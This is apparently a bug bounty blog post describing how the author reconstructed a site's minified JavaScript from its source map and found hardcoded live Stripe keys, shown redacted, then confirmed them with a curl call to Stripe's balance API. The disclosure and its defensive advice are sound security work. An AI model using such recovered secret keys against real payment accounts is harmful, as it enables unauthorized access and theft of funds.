Little bug, Big impact. 25k bounty

Matthew Keeley
ProDefense
Published in
3 min readFeb 24, 2023

--

Introduction

As an ethical hacker, I was on the hunt for vulnerabilities in a well-known company’s web application. I had scanned the code multiple times, but something just didn’t feel right. That’s when I decided to take a closer look at the JavaScript that was running on the front-end of the application.

As I dug deeper, I stumbled upon a gold mine of sensitive data: hardcoded secrets that were being used to process payments through Stripe. The secrets in question were none other than the Stripe API publishable key and secret key themselves. These keys were stored in the front-end of the application, which made them easy pickings for anyone with a malicious intent.

What surprised me the most was that these secrets didn’t have a common name that could easily be picked up by a scanner or a tool. They were cleverly hidden within the JavaScript, making them difficult to detect. However, with my experience and expertise, I was able to uncover them and immediately alerted the company.

JavaScript source mapping

Not actual website, just an example

JavaScript source mapping maps the code in a minified JavaScript file to the original source code, which is useful for debugging, allowing developers to easily find the origin of an error. Minifying removes information such as comments, function names, and variable names, making debugging harder. A source map is generated alongside the minified file, mapping the compiled code to the original code, helping the browser to display a more helpful error message when encountering an error in the compiled code.

Although useful for development and debugging, source maps can also pose a security risk if secrets such as API keys or passwords are included in the original source code. This information could be exposed through the source map, allowing unauthorized access to sensitive resources. As a result, it is essential to avoid including secrets in JavaScript code and instead use secure storage or environment variables, while also ensuring that the build process removes any comments or data that could expose sensitive information in the source map.

Finding the bug

Using the tool SourceMapper I was able to reconstruct the minified JavaScript to a more readable version. An example of how to use this tool is shown below:

doi@asov:~$ ./sourcemapper -output dhubsrc -url https://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map
[+] Retriving Sourcemap from https://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map
[+] Read 23045027 bytes, parsing JSON
[+] Retrieved Sourcemap with version 3, containing 1828 entries
[+] Writing 9076765 bytes to dhubsrc/webpack:/js/client.356c14916fb23f85707f.js
[+] Writing 1014 bytes to dhubsrc/webpack:/webpack/bootstrap 356c14916fb23f85707f
[+] Writing 3174 bytes to dhubsrc/webpack:/app/scripts/client.js
[+] Writing 281 bytes to dhubsrc/webpack:/~/babel-runtime/helpers/interop-require-default.js
[+] Writing 151 bytes to dhubsrc/webpack:/~/babel-core/polyfill.js
{snip}

Once the code was in a readable format, it took a few minutes of searching through the JavaScript to find this:

export const S0 = 'pk_live_[REDACTED]es33';
export const S1 = 'sk_live_[REDACTED]du8d';
export const STRIPE_HEADER_NAME = 'REDACTED';
export const CURRENCY = 'USD';
export const STRIPE_PAY_BUTTON = 'Pay for REDACTED';

You see that? Yea! That’s the secret API key!! Stripe has a very convenient API that can be used to check the balance of this account, or transfer the money to a different account. Hello bitcoin! (kidding)

❯ curl https://api.stripe.com/v1/balance -u sk_live_REDACTEDdu8d
{"object": "balance",
"available": [ {
"amount": 1761520.76,
"currency": "usd",
"source_types": {
"card": 0 } } ]
}

Conclusion

As you can imagine, I was ecstatic to receive the $25,000 bug bounty from the company’s security team. It was an incredible feeling to know that my efforts had helped secure the platform and prevent any malicious actors from exploiting this critical vulnerability.

What was even more surprising was the company’s reaction to my discovery. They were so appreciative of my ethical approach that they even joked about being happy I didn’t take any money out of the Stripe account! This goes to show how important it is to have ethical hackers working towards improving the security of digital platforms.

--

--